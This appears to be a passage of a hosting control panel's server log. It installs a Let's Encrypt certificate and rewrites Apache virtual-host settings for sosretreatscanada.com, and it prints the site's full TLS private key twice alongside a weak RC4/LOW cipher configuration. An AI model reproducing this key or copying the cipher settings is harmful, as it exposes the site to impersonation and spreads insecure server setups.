y7aLw90LK9zPBZQovQv2lYaCI57dvERVUXAQNgWUR90N5al7PSXPhZGDTbIVixwL
TQLNCmlfJ/yyR+zh
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC1TSUihjUDfnzZ
eWBxTg3Q75qxXZu9iH7oCtavvfVlryQWVC+Eqn5g0qHhpWMhpkFDqwdCTKs1RSnh
6BzvIDl23Ks8M5UXW/MqzuNp+FyNqh09UQCluyjXyFf1WCsqMDXEvkxMZzairDu1
l7fIQ0Tc5B/faLBPAhg0PS3Yf6bgex9eOgrxzSa3RKIKW1i9R6wSbvHM6YW0kVNf
nxZgDTnvA0g0O9MjhQxHpUgoMunZ6U2QNE9A+yphHe8mMBaH5bvUNuBL9iE7YSK1
DgLF47uiobxSzAR2n3E1X8LO5JO5AjQewQTNIBZ+2HtynWeaazoqE+BWKaWe3T77
lqOYyriPAgMBAAECggEAEEQzqL1R1FZs7TYuqPvP0Yct4ev8JS0x9a/DQ1FPyyfD
nR1Ahi6l2BoN3Cjyk/pOsLuPkys90TG7aEFjFzFU9o0l7+jQ35+oWZbmYIOgCjXR
GcdCv5vjNjkLaz/V35sjt9s7DT/VbxL06H4MRzOB4i+1jF3gM7aEZWt3yYzqdAlx
QbhyuQibph8Bbc9Lxsslx/vM0GNPaPww3q+01lsP8BbnMuia2sDDHasYbxLaU3T8
YtYHNDSXuNvX0DSjNjyuW6F13l2V1j2eMEpA9nO0+taX0bqVji/NQfYjoBTA3rKh
JHabX8C1dB5Q/s75CSND4DGHjVkPDY6943efQuYcwQKBgQDeKmjJ3k/h7mkzdhbJ
K5FhdgxNdgj47PATWMGsSHMq40OM72+02Xzxv2i/vFFpGLYdRwf7b58J6Y6WBc3y
Z4DxSyezMn3rRZcPlCawYNZTj/PdH40bBYNBS9cjwLwiq0JkE0zOj88xpOcrYWGD
OsNbZ0aRyroISbik9KfG4u/3FQKBgQDQ6Y4v8ehXTL89QmLLNif8dJxAMfO3Fdcn
3m/lIFBLKhn41r5IorDF9rmnrIV9sY5zKsQY26TAGV0p7gjT5H2rLMSTKKT1W7DN
6HW4w5YjhXZgZ7v7hRQGvHSGZ05dZhCgBNjgoRmi0AavRzjDoPLicRCKJxlknrrq
vIFgmyZaEwKBgQDA1SanMSM9A2akmDcm3X4OjhwXkAAxr9ahtERGeYwdCa20Qo8+
9heQ7YbKBXbUNfK8bs7q2vO78tEkPl2HrXcp+QW4cHcDIx//EaSTKzpcxXHx2FTt
w1ct8doG2l9x6Bx0KJxeHkzE1lEgQiIVeYffakDCgqf+UZ7G7uRBqPCIEQKBgQCg
gdDspT+NUznbJxYgawttu2oRKE/HatBToWL290y5cy9hMBwiUlzevCEH4lTtrW10
rnbbYmXB8brSbD/8DKFA0rR1G9UhbcD5cpB/1EWWJQQ+LXUQWb55LnGYkeZze+dq
Ck9Wxm+b15hLMr06EH6L27KJcmDgHdQeZZZBUvK0YQKBgHjavE4RAG/srVIC4KkW
Dgi9relqSYVuUjlGl1ifiokEyVGzCp4vkpYBE8pv8cadF3fL6UpGsrpMTO9qAQIy
/MBEHmnyLp31KAE9TblIMhu7EFw/bzox/lFFTwvhkcYv9vEe8a53gp2Rwlv264M/
punPjUFzAC6YFD4+r7/Pxcxu
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-27 06:01:28:
chmod 755 /tmp/pkp712008; /tmp/pkp712008; rm /tmp/pkp712008
2025-09-27 06:01:28:
dir=/etc/ssl/certs
2025-09-27 06:01:28:
PUT: /tmp/pkp610311
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-27 06:01:28:
chmod 755 /tmp/pkp610311; /tmp/pkp610311; rm /tmp/pkp610311
2025-09-27 06:01:28:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf 49
<VirtualHost *:80>
ServerName sosretreatscanada.com
ServerAlias sosretreats.ca www.sosretreats.ca
ServerAlias www.sosretreatscanada.com
ServerAlias sosretreatscanada.ca www.sosretreatscanada.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/sosretreatscanada_www
<Directory /var/www/sosretreatscanada_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/sosretreatscanada/www_access.log combined
ErrorLog /var/log/apache2/sosretreatscanada/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName sosretreatscanada.com
ServerAlias sosretreats.ca www.sosretreats.ca
ServerAlias www.sosretreatscanada.com
ServerAlias sosretreatscanada.ca www.sosretreatscanada.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt
DocumentRoot /var/www/sosretreatscanada_www
<Directory /var/www/sosretreatscanada_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/sosretreatscanada/www_secure_access.log combined
ErrorLog /var/log/apache2/sosretreatscanada/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-27 06:01:28:
PUT: /tmp/pkp216239
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=sosretreatscanada_www_com.conf
TARGET=/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName sosretreatscanada.com
ServerAlias sosretreats.ca www.sosretreats.ca
ServerAlias www.sosretreatscanada.com
ServerAlias sosretreatscanada.ca www.sosretreatscanada.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/sosretreatscanada_www
<Directory /var/www/sosretreatscanada_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/sosretreatscanada/www_access.log combined
ErrorLog /var/log/apache2/sosretreatscanada/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName sosretreatscanada.com
ServerAlias sosretreats.ca www.sosretreats.ca
ServerAlias www.sosretreatscanada.com
ServerAlias sosretreatscanada.ca www.sosretreatscanada.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt
DocumentRoot /var/www/sosretreatscanada_www
<Directory /var/www/sosretreatscanada_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/sosretreatscanada/www_secure_access.log combined
ErrorLog /var/log/apache2/sosretreatscanada/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/sosretreatscanada_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/sosretreatscanada_www_com.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/sosretreatscanada_www_com.conf= 1'
fi
2025-09-27 06:01:28:
chmod 755 /tmp/pkp216239; /tmp/pkp216239; rm /tmp/pkp216239
2025-09-27 06:01:28:
2025-09-27 06:01:28:
PUT: /tmp/pkp664557
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-27 06:01:28:
chmod 755 /tmp/pkp664557; /tmp/pkp664557; rm /tmp/pkp664557
2025-09-27 06:01:28:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-27 06:01:28: Establishing a connection
2025-09-27 06:01:29:
PUT: /tmp/pkp236012
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-27 06:01:29:
chmod 755 /tmp/pkp236012; /tmp/pkp236012; rm /tmp/pkp236012
2025-09-27 06:01:29:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
alias www.bucketgigs.ca
port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
alias www.dgmarshall.ca
port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
alias www.dgmarshall.com
port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
alias www.drewmarshall.ca
port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
alias www.hillrunfarm.ca
port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
alias www.ineedtosaythis.com
port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
*:443 is a NameVirtualHost
default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
alias www.bucketgigs.ca
port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
alias www.dgmarshall.ca
port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
alias www.dgmarshall.com
port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
alias www.drewmarshall.ca
port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
alias www.hillrunfarm.ca
port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
alias www.ineedtosaythis.com
port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-27 06:01:29:
PUT: /tmp/pkp528268
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-27 06:01:29:
chmod 755 /tmp/pkp528268; /tmp/pkp528268; rm /tmp/pkp528268
2025-09-27 06:01:29:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf 1691
<VirtualHost *:80>
ServerName sosretreatscanada.com
ServerAlias sosretreats.ca www.sosretreats.ca
ServerAlias www.sosretreatscanada.com
ServerAlias sosretreatscanada.ca www.sosretreatscanada.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/sosretreatscanada_www
<Directory /var/www/sosretreatscanada_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/sosretreatscanada/www_access.log combined
ErrorLog /var/log/apache2/sosretreatscanada/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName sosretreatscanada.com
ServerAlias sosretreats.ca www.sosretreats.ca
ServerAlias www.sosretreatscanada.com
ServerAlias sosretreatscanada.ca www.sosretreatscanada.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt
DocumentRoot /var/www/sosretreatscanada_www
<Directory /var/www/sosretreatscanada_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/sosretreatscanada/www_secure_access.log combined
ErrorLog /var/log/apache2/sosretreatscanada/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-27 06:01:29:
PUT: /tmp/pkp935350
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-27 06:01:29:
chmod 755 /tmp/pkp935350; /tmp/pkp935350; rm /tmp/pkp935350
2025-09-27 06:01:29:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt 5519
ae:a1:0b:31:9e:6d:ae:6d:4f:6e:a5:0a:3b:23:49:be
-----BEGIN CERTIFICATE-----
MIIFeDCCBGCgAwIBAgISBfpo2Zneso2+KNvTikINcxjqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTI3MDUwMjU3WhcNMjUxMjI2MDUwMjU2WjAgMR4wHAYDVQQD
ExVzb3NyZXRyZWF0c2NhbmFkYS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC1TSUihjUDfnzZeWBxTg3Q75qxXZu9iH7oCtavvfVlryQWVC+Eqn5g
0qHhpWMhpkFDqwdCTKs1RSnh6BzvIDl23Ks8M5UXW/MqzuNp+FyNqh09UQCluyjX
yFf1WCsqMDXEvkxMZzairDu1l7fIQ0Tc5B/faLBPAhg0PS3Yf6bgex9eOgrxzSa3
RKIKW1i9R6wSbvHM6YW0kVNfnxZgDTnvA0g0O9MjhQxHpUgoMunZ6U2QNE9A+yph
He8mMBaH5bvUNuBL9iE7YSK1DgLF47uiobxSzAR2n3E1X8LO5JO5AjQewQTNIBZ+
2HtynWeaazoqE+BWKaWe3T77lqOYyriPAgMBAAGjggKXMIICkzAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFGKyscr2FKJxbqYL/myxYb0crct5MB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wgZEGA1UdEQSBiTCBhoIOc29zcmV0cmVh
dHMuY2GCFHNvc3JldHJlYXRzY2FuYWRhLmNhghVzb3NyZXRyZWF0c2NhbmFkYS5j
b22CEnd3dy5zb3NyZXRyZWF0cy5jYYIYd3d3LnNvc3JldHJlYXRzY2FuYWRhLmNh
ghl3d3cuc29zcmV0cmVhdHNjYW5hZGEuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTA3LmNy
bDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1AKRCxQZJYGFUjw/U6pz7ei0mRU2H
qX8v30VZ9idPOoRUAAABmYnDE9YAAAQDAEYwRAIgRl+z5PuHDreEeaiuiVaW120u
z43s5Jk30DCzBoflH/8CIHXyr2pi95glBZ7IIpnBGpytDl/JHGDXnlELlIOwlrnz
AHYA3dzKNJXX4RYF55Uy+sef+D0cUN/bADoUEnYKLKy7yCoAAAGZicMUIQAABAMA
RzBFAiEAsf22Lpa4/hwbi+EXwDWn9e+H+rd+jBG0kFp/g0ph+n4CIEfv5qVIXjJD
2jaTY07ZGlc7YicpH7J3Tlvq33dtcCyvMA0GCSqGSIb3DQEBCwUAA4IBAQALwDRL
a3xRqcwYO6QaiGzRnFY/7MhK7ArhmebhF6ovKEQqyBeok1X3ffoWvSU0kZVjT+sM
zjU2eOQb9kqtWc66KkB9u/f58QdqT90HrFqVSsI9jXcWaPmW2KFQhrA8I/mD95jq
FYJMJw6h9uzDTUozdo1EVyZtQkWtDdeRk77rc3D2phbdtX10lT6r99xhAM3udhmp
BKqA6dh7xq+DcmnK8GqqYRzCxoiM+tWOIa7S5fNJ3dpB4fhRh5bp6UuKk5EfwgAT
y7aLw90LK9zPBZQovQv2lYaCI57dvERVUXAQNgWUR90N5al7PSXPhZGDTbIVixwL
TQLNCmlfJ/yyR+zh
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC1TSUihjUDfnzZ
eWBxTg3Q75qxXZu9iH7oCtavvfVlryQWVC+Eqn5g0qHhpWMhpkFDqwdCTKs1RSnh
6BzvIDl23Ks8M5UXW/MqzuNp+FyNqh09UQCluyjXyFf1WCsqMDXEvkxMZzairDu1
l7fIQ0Tc5B/faLBPAhg0PS3Yf6bgex9eOgrxzSa3RKIKW1i9R6wSbvHM6YW0kVNf
nxZgDTnvA0g0O9MjhQxHpUgoMunZ6U2QNE9A+yphHe8mMBaH5bvUNuBL9iE7YSK1
DgLF47uiobxSzAR2n3E1X8LO5JO5AjQewQTNIBZ+2HtynWeaazoqE+BWKaWe3T77
lqOYyriPAgMBAAECggEAEEQzqL1R1FZs7TYuqPvP0Yct4ev8JS0x9a/DQ1FPyyfD
nR1Ahi6l2BoN3Cjyk/pOsLuPkys90TG7aEFjFzFU9o0l7+jQ35+oWZbmYIOgCjXR
GcdCv5vjNjkLaz/V35sjt9s7DT/VbxL06H4MRzOB4i+1jF3gM7aEZWt3yYzqdAlx
QbhyuQibph8Bbc9Lxsslx/vM0GNPaPww3q+01lsP8BbnMuia2sDDHasYbxLaU3T8
YtYHNDSXuNvX0DSjNjyuW6F13l2V1j2eMEpA9nO0+taX0bqVji/NQfYjoBTA3rKh
JHabX8C1dB5Q/s75CSND4DGHjVkPDY6943efQuYcwQKBgQDeKmjJ3k/h7mkzdhbJ
K5FhdgxNdgj47PATWMGsSHMq40OM72+02Xzxv2i/vFFpGLYdRwf7b58J6Y6WBc3y
Z4DxSyezMn3rRZcPlCawYNZTj/PdH40bBYNBS9cjwLwiq0JkE0zOj88xpOcrYWGD
OsNbZ0aRyroISbik9KfG4u/3FQKBgQDQ6Y4v8ehXTL89QmLLNif8dJxAMfO3Fdcn
3m/lIFBLKhn41r5IorDF9rmnrIV9sY5zKsQY26TAGV0p7gjT5H2rLMSTKKT1W7DN
6HW4w5YjhXZgZ7v7hRQGvHSGZ05dZhCgBNjgoRmi0AavRzjDoPLicRCKJxlknrrq
vIFgmyZaEwKBgQDA1SanMSM9A2akmDcm3X4OjhwXkAAxr9ahtERGeYwdCa20Qo8+
9heQ7YbKBXbUNfK8bs7q2vO78tEkPl2HrXcp+QW4cHcDIx//EaSTKzpcxXHx2FTt
w1ct8doG2l9x6Bx0KJxeHkzE1lEgQiIVeYffakDCgqf+UZ7G7uRBqPCIEQKBgQCg
gdDspT+NUznbJxYgawttu2oRKE/HatBToWL290y5cy9hMBwiUlzevCEH4lTtrW10
rnbbYmXB8brSbD/8DKFA0rR1G9UhbcD5cpB/1EWWJQQ+LXUQWb55LnGYkeZze+dq
Ck9Wxm+b15hLMr06EH6L27KJcmDgHdQeZZZBUvK0YQKBgHjavE4RAG/srVIC4KkW
Dgi9relqSYVuUjlGl1ifiokEyVGzCp4vkpYBE8pv8cadF3fL6UpGsrpMTO9qAQIy
/MBEHmnyLp31KAE9TblIMhu7EFw/bzox/lFFTwvhkcYv9vEe8a53gp2Rwlv264M/
punPjUFzAC6YFD4+r7/Pxcxu
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
